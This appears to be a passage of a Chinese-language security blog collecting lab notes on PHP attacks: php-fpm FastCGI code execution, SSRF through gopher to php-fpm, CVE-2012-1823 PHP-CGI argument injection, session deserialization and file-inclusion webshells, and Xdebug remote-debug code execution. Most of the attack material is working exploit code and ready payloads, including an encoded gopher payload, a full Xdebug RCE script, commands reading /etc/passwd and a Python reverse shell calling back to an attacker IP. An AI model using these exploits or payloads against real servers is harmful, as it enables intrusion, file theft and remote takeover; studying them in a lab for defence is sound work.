if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']

def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

args = parser.parse_args()

client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))

ssrf+fpm

利用gopher协议

先装环境ubuntu18

1
2
3
4
5
6
sudo apt update
sudo apt install -y nginx
sudo apt install -y software-properties-common
sudo add-apt-repository -y ppa:ondrej/php
sudo apt update
sudo apt install -y php7.3-fpm

改配置nginx

1
2
3
4
5
6
7
8
9
10
11
sudo vim /etc/nginx/sites-enabled/default

改成这样
location ~ \.php$ {
include snippets/fastcgi-php.conf;
#
# # With php-fpm (or other unix sockets):
# fastcgi_pass unix:/var/run/php/php7.0-fpm.sock;
# # With php-cgi (or other tcp sockets):
fastcgi_pass 127.0.0.1:9000;
}

再去改php-fpm的配置

1
2
3
sudo vim /etc/php/7.3/fpm/pool.d/www.conf
改成这样
listen = 127.0.0.1:9000

重启fpm

1
/etc/init.d/php7.3-fpm restart

启动nginx

1
service nginx start

创建一个phpinfo文件

phpin.php

1
2
3
<?php
phpinfo();
?>

用来查看是不是FPM/FASTCGI模式启动,正常情况下phpinfo里面会有这样一行

1
Server API 	FPM/FastCGI

测试

ssrf.php

1
2
3
4
5
6
7
8
9
10
11
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>

改一下p神的脚本,把发送数据那部分去掉

1
python 'gopherfpm.py' 127.0.0.1 /var/www/html/phpin.php -c '<?php echo `id`; exit;?>' -p 9000

生成数据

1
gopher%3A//127.0.0.1%3A9000/_%01%01%2C%04%00%08%00%00%00%01%00%00%00%00%00%00%01%04%2C%04%01%DB%00%00%0E%02CONTENT_LENGTH24%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/phpin.php%0B%17SCRIPT_NAME/var/www/html/phpin.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/phpin.php%01%04%2C%04%00%00%00%00%01%05%2C%04%00%18%00%00%3C%3Fphp%20echo%20%60id%60%3B%20exit%3B%3F%3E%01%05%2C%04%00%00%00%00

这里要二次编码,注意只把后面的数据部分编码。gopher协议这里不要编码

1
2
GET /ssrf.php?url=gopher%3A//127.0.0.1%3A9000/_%2501%2501%252C%2504%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%252C%2504%2501%25DB%2500%2500%250E%2502CONTENT_LENGTH24%250C%2510CONTENT_TYPEapplication/text%250B%2504REMOTE_PORT9985%250B%2509SERVER_NAMElocalhost%2511%250BGATEWAY_INTERFACEFastCGI/1.0%250F%250ESERVER_SOFTWAREphp/fcgiclient%250B%2509REMOTE_ADDR127.0.0.1%250F%2517SCRIPT_FILENAME/var/www/html/phpin.php%250B%2517SCRIPT_NAME/var/www/html/phpin.php%2509%251FPHP_VALUEauto_prepend_file%2520%253D%2520php%253A//input%250E%2504REQUEST_METHODPOST%250B%2502SERVER_PORT80%250F%2508SERVER_PROTOCOLHTTP/1.1%250C%2500QUERY_STRING%250F%2516PHP_ADMIN_VALUEallow_url_include%2520%253D%2520On%250D%2501DOCUMENT_ROOT/%250B%2509SERVER_ADDR127.0.0.1%250B%2517REQUEST_URI/var/www/html/phpin.php%2501%2504%252C%2504%2500%2500%2500%2500%2501%2505%252C%2504%2500%2518%2500%2500%253C%253Fphp%2520echo%2520%2560id%2560%253B%2520exit%253B%253F%253E%2501%2505%252C%2504%2500%2500%2500%2500 HTTP/1.1
Host: 192.168.110.145

unix+fpm

改一下配置 nginx

1
sudo vim /etc/nginx/sites-enabled/default

改成这样

1
2
3
4
5
6
7
8
location ~ \.php$ {
include snippets/fastcgi-php.conf;
#
# # With php-fpm (or other unix sockets):
fastcgi_pass unix:/var/run/php/php7.0-fpm.sock;
# # With php-cgi (or other tcp sockets):
#fastcgi_pass 127.0.0.1:9000;
}

默认情况下,套接字的位置在/run/php/php7.3-fpm.sock

可以通过/etc/php/7.3/fpm/pool.d/www.conf查看

这里直接设置成/run/php/php7.3-fpm.sock

sudo vim /etc/php/7.3/fpm/pool.d/www.conf

1
2
;listen = 127.0.0.1:9000
listen = /run/php/php7.3-fpm.sock

测试

unix.php

1
2
3
4
5
<?php 
$sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock');
fputs($sock, base64_decode($_POST['A']));
var_dump(fread($sock, 4096));
?>

生成一下payload

1
python 'gopherfpm.py' 127.0.0.1 /var/www/html/phpin.php -c '<?php echo `id`; exit;?>' -p 9000

访问unix, 把生成的base64数据post一下

CGI

当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。所以,Apache服务器按要求实现了这个功能 也就是把输入的参数,当成了cgi的命令来执行

常用的cgi参数有

1
2
3
4
5
6
7
-c 指定php.ini文件的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助

测试

1
index.php?-s

可以拿到源码

利用-d 添加auto_prepend_file

1
/index.php?-d+allow_url_include%3Don+-d%20auto_prepend_file%3Dphp%3A//input

post

1
<?php system('id');?>

参考链接

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

https://vulhub.org/#/environments/php/CVE-2012-1823/

https://mp.weixin.qq.com/s/ZvDkrlHn34eMWz_eFXeQmw

评论和共享

php-session

序列化机制

基础知识

php的三种序列化机制

1
2
3
4
5
php_binary:键名的长度对应的ASCII字符+键名+键值经过serialize()函数序列化处理的值

php:键名+竖线+键值经过serialize()函数序列处理的值

php_serialize(php>5.5.4):经过serialize()函数序列化处理的值

如何设置序列化方式

1
2
ini_set('session.serialize_handler', '需要设置的引擎');
session_start('serialize_handler=需要设置的引擎')

看一下三种方式存储的结果

测试代码

1
2
3
4
5
6
7
<?php
ini_set('session.serialize_handler', 'php_serialize');
#ini_set('session.serialize_handler', 'php');
#ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['user']=$_POST['user'];
?>

分别看一下三种方式产生的结果

1
2
3
a:1:{s:4:"user";s:4:"name";}  //php_serialize
user|s:4:"name"; //php
users:4:"name"; //php_binary最前面那里乱码了

分析过程

php_serialize这种存储方式恰好是类 数组等使用的一种序列化方式,但是就算输入类和数组,也会被当作字符串给序列化,然后存起来。无法达到反序列化攻击的目的。

但是php这种序列化方式 被| 给分成两部分,前面一部分是键名,后一部分是经过serialize序列化的数据,当反序列化时,先找到| ,把竖线|之前的当作键,竖线|之后的当作值,也就是说 通过一个竖线把结果分成两部分,而且还是互不影响的那种,

所以可以通过php_serialize传入值,在加上一个竖线| ,伪造这样一串数据,

1
s:5:"|code";

这串数据当被php这种序列化方式解析的时候,键就变成了 s:5:”| 值就变成了 code 也就是值不再被当作字符串,而是单独的一部分被反序列化

测试一下

测试代码

hint.php

1
2
3
4
5
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['user'] = $_POST['user'];
?>

hint2.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
#ini_set('session.serialize_handler','php');
session_start();
class user{
public $test;

function __wakeup(){
$file = fopen("shell.php","w");
fputs($file,$this->test);
fclose($file);
}
}
?>

php默认是以php作为序列化方式的,所以上面那行代码可以不加

访问hint.php post以下内容

1
user=|O:4:"user":1:{s:4:"test";s:17:"<?php phpinfo()?>";}

session文件中的结果

1
a:1:{s:4:"user";s:52:"|O:4:"user":1:{s:4:"test";s:17:"<?php phpinfo()?>";}";}

再去访问一下hint2.php 触发反序列化

这里说明一下为什么最后的三个字符”;}不影响反序列化,当反序列化足够多的字符时,剩下的数据,会被抛弃 前面有s:17的字符个数限制,所以当反序列化17个字符的时候,后面的就被仍掉了

可以看到shell.php文件已经生成,访问一下看看

image

xss

测试代码

1
2
3
4
5
<?php
session_start();
$_SESSION['user'] = $_POST['user'];
?>
<?php echo "hello".$_SESSION['user'];?>

结果

image

防御

转义一下 就好了

1
htmlspecialchars($_SESSION['user'])

session包含

常见的session存放路径

1
2
3
4
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

这里的PHPSESSID就是cookie中的PHPSESSID,session会记录当前账号的一下信息,比如用户名,密码等

直接把用户名注册成一句话木马,然后利用文件包含去解析木马,就可以了,主要在于找到session的存放路径,

session的路径可以在phpinfo中查看,当然这里也受限于open_basedir disable_function

测试

测试代码

test.php

1
2
3
<?php
include($_GET['file']);
?>

hint.php

1
2
3
4
<?php
session_start();
$_SESSION['user'] = $_POST['user'];
?>

post hint.php

1
user=<?php phpinfo();?>

查一下phpsessid,直接去cookie里面看就行

j7cv8kptv1mitmsau95dm4svk7

session文件中的内容

1
user|s:18:"<?php phpinfo();?>";

包含一下

image

评论和共享

xdebug

基础知识

工作原理

xedbug是一个调试php程序的扩展程序,因为php是一个写网站的语言,他的调试和python Java等也有所不同,

几个常见配置

1
2
3
4
5
6
7
8
9
10
11
12
设置调试工具,
xdebug.idekey="PHPSTORM"

绑定远程调试主机地址
xdebug.remote_host=localhost

远程主机监听的端口
xdebug.remote_port=9000
开启回连
xdebug.remote_connect_back = 1
开启xdebug
xdebug.remote_enable = 1

回连地址

xdebug的回连地址是通过自定义header,来判断回连到哪一个ip地址,

一般由三个属性决定

1
2
3
4
5
xdebug.remote_addr_header

X-Forwarded-For

Remote-Addr

xff是可以在请求头中伪造的,所以就算配置了其他的两个,也没有关系,照样可以连接到我指定的ip地址上

固定ip模式

默认情况下,

1
xdebug.remote_connect_back = 0

也叫固定ip模式

这种情况下,后台会去访问

xdebug.remote_host=localhost

xdebug.remote_port=9000

这一对ip 和端口,默认是localhost:9000 这样只适合单一客户端请求

非固定ip模式

1
xdebug.remote_connect_back = 1

这时后台会去访问回连地址。依次访问

这时候问题就出现了,如果在请求头中加入一个xff字段,那么就可以让服务器回连到指定的ip地址上

利用条件

1
2
3
4
5
6
7

xdebug.remote_connect_back = 1 //开启回连 并且此选项开启时,xdebug会忽略xdebug.remote_host
直接把客户端ip当作回连ip,也就是谁访问它,谁就是回连ip

xdebug.remote_enable = 1 //开启xdebug

xdebug.remote_log = /tmp/test.log

DBGp协议

source

1
source -i transaction_id -f fileURI

transaction_id 貌似没有那么硬性的要求,每次都为 1 即可,fileURI 是要读取的文件的路径,需要注意的是,Xdebug 也受限于 open_basedir

利用方式

1
source -i 1 -f file:///etc/passwd

还可以利用php://filter ssrf等

脚本里面要这样写

1
conn.sendall('source -i 1 -f %s\x00' % data)

eval

1
2
3
4
5
eval -i transaction_id -- {DATA}

{DATA} 为 base64 过的 PHP 代码。 利用方式(c3lzdGVtKCJpZCIpOw== == system("id");):

eval -i 1 -- c3lzdGVtKCJpZCIpOw==

脚本里面要这样写

1
conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

property_set

代码执行 和eval一样,要是eval被禁了,可以用这个

1
2
3
/* Do the eval */
eval_string = xdebug_sprintf("%s = %s", CMD_OPTION('n'), new_value);
res = xdebug_do_eval(eval_string, &ret_zval TSRMLS_CC);

利用方式

1
2
property_set -n $a -i 1 -c 1 -- c3lzdGVtKCJpZCIpOw== 
property_get -n $a -i 1 -c 1 -p 0

脚本里面要这样写

1
conn.sendall('property_set -n $a -i 1 -c 1 -- %s\x00' % data.encode('base64'))

利用过程

请求头

1
2
3
4
5
6
7
8
9
10
GET /index.php?XDEBUG_SESSION_START=phpstrom HTTP/1.1
Host: 192.168.110.140:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For:192.168.110.1
Connection: close
Upgrade-Insecure-Requests: 1

本地监听9000端口

1
2
3
4
5
6
nc -lvp 9000
listening on [any] 9000 ...
192.168.110.140: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [192.168.110.1] from (UNKNOWN) [192.168.110.140] 53884: NO_DATA
486 <?xml version="1.0" encoding="iso-8859-1"?>
<init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" fileuri="file:///var/www/html/index.php" language="PHP" xdebug:language_version="7.1.12" protocol_version="1.0" appid="23" idekey="phpstrom"><engine version="2.5.5"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[http://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2017 by Derick Rethans]]></copyright></init>

可以确定服务端开启了xdebug,并且开启了远程连接

攻击链

先是burp发送请求访问调试界面,这时因为xdebug开启了回连,依次请求

1
2
3
4
5
xdebug.remote_addr_header

X-Forwarded-For

Remote-Addr

当访问到X-Forwarded-For的时候,就会访问其所指向的ip和端口(端口默认是9000,会自动的去请求9000端口,所以ip上不用加上9000端口),这时在本地监听9000端口就可以收到xdebug发送的请求

执行命令

创建一个exp2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python2
import socket

ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()

while True:
client_data = conn.recv(1024)
print(client_data)

data = raw_input('>> ')
conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

这段代码就是代替nc 监听9000端口(eval可以换成source property_set等)

主机运行

1
python2 exp2.py

burp发包

1
2
3
4
5
6
7
8
9
10
GET /index.php?XDEBUG_SESSION_START=phpstrom HTTP/1.1
Host: 192.168.110.140:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For:192.168.110.1
Connection: close
Upgrade-Insecure-Requests: 1

还是刚才那个数据包

也可以这样,更方便一点

1
curl 'http://192.168.110.140/index.php?XDEBUG_SESSION_START=PHPSTORM' -H "X-Forwarded-For:你的公网IP地址"

在回弹的窗口中执行

1
2
3
>> system('ls');
263 <?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="9" encoding="base64"><![CDATA[aW5kZXgucGhw]]></property></response>

注意这里的ls命令是在linux下的 如果在windows下,需要cmd命令

这一段

1
[CDATA[aW5kZXgucGhw]]>

base64解码 就可以拿到文件名 ==>index.php

file协议读文件

1
2
3
>> system('curl file:///etc/passwd')
348 <?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="72" encoding="base64"><![CDATA[c3lzdGVtZC1idXMtcHJveHk6eDoxMDM6MTA2OnN5c3RlbWQgQnVzIFByb3h5LCwsOi9ydW4vc3lzdGVtZDovYmluL2ZhbHNl]]></property></response>

这里好像有字符数量限制

利用source读文件

1
2
只需要把eval改成这样
conn.sendall('source -i 1 -f file:///%s\x00' % data)

这里还是有点问题,不能一次读完 貌似得用绝对路径

用index.php的时候,报错没找到文件 ./index.php也不行

1
2
3
>> ./index.php
283 <?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="source" transaction_id="1" status="starting" reason="ok"><error code="100"><message><![CDATA[can not open file]]></message></error></response>

连续两次命令,会把第一次没有发送完的文件,在发送过来(难道是nc接受的问题??? 或者是服务端限制了文件的大小,当第二次读文件的时候,会从上一次结束的地方,继续往下读)

1
2
3
4
5
>> /etc/passwd
1805 <?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="source" transaction_id="1" encoding="base64"><![CDATA[cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9u
>> /etc/passwd
b2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtdGltZXN5bmM6eDoxMDA6MTAzOnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb24sLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKc3lzdGVtZC1uZXR3b3JrOng6MTAxOjEwNDpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQvbmV0aWY6L2Jpbi9mYWxzZQpzeXN0ZW1kLXJlc29sdmU6eDoxMDI6MTA1OnN5c3RlbWQgUmVzb2x2ZXIsLCw6L3J1bi9zeXN0ZW1kL3Jlc29sdmU6L2Jpbi9mYWxzZQpzeXN0ZW1kLWJ1cy1wcm94eTp4OjEwMzoxMDY6c3lzdGVtZCBCdXMgUHJveHksLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UK

反弹shell

用python反弹一下

1
2
3
4
5
6
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.110.1",9999));os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

写木马

利用base64

1
2


访问shell.php 可以执行phpinfo()

这里附上 exp p神的一键脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python3
import re
import sys
import time
import requests
import argparse
import socket
import base64
import binascii
from concurrent.futures import ThreadPoolExecutor


pool = ThreadPoolExecutor(1)
session = requests.session()
session.headers = {
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)'
}

def recv_xml(sock):
blocks = []
data = b''
while True:
try:
data = data + sock.recv(1024)
except socket.error as e:
break
if not data:
break

while data:
eop = data.find(b'\x00')
if eop < 0:
break
blocks.append(data[:eop])
data = data[eop+1:]

if len(blocks) >= 4:
break

return blocks[3]


def trigger(url):
time.sleep(2)
try:
session.get(url + '?XDEBUG_SESSION_START=phpstorm', timeout=0.1)
except:
pass


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='XDebug remote debug code execution.')
parser.add_argument('-c', '--code', required=True, help='the code you want to execute.')
parser.add_argument('-t', '--target', required=True, help='target url.')
parser.add_argument('-l', '--listen', default=9000, type=int, help='local port')
args = parser.parse_args()

ip_port = ('0.0.0.0', args.listen)
sk = socket.socket()
sk.settimeout(10)
sk.bind(ip_port)
sk.listen(5)

pool.submit(trigger, args.target)
conn, addr = sk.accept()
conn.sendall(b''.join([b'eval -i 1 -- ', base64.b64encode(args.code.encode()), b'\x00']))

data = recv_xml(conn)
print('[+] Recieve data: ' + data.decode())
g = re.search(rb'<\!\[CDATA\[([a-z0-9=\./\+]+)\]\]>', data, re.I)
if not g:
print('[-] No result...')
sys.exit(0)

data = g.group(1)

try:
print('[+] Result: ' + base64.b64decode(data).decode())
except binascii.Error:
print('[-] May be not string result...')

结果

1
2
3
4
E:\tools\netcat>python3 exp.py -t http://192.168.110.140:8080/index.php -c "shell_exec('id');"
[+] Recieve data: <?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="54" encoding="base64"><![CDATA[dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK]]></property></response>
[+] Result: uid=33(www-data) gid=33(www-data) groups=33(www-data)

参考链接

https://blog.spoock.com/2017/09/19/xdebug-attack-surface/

https://paper.seebug.org/397/

https://www.restran.net/2017/09/16/php-xdebug-cmd-exec/

https://github.com/vulhub/vulhub/blob/master/php/xdebug-rce/exp.py

评论和共享

John Doe

author.bio


author.job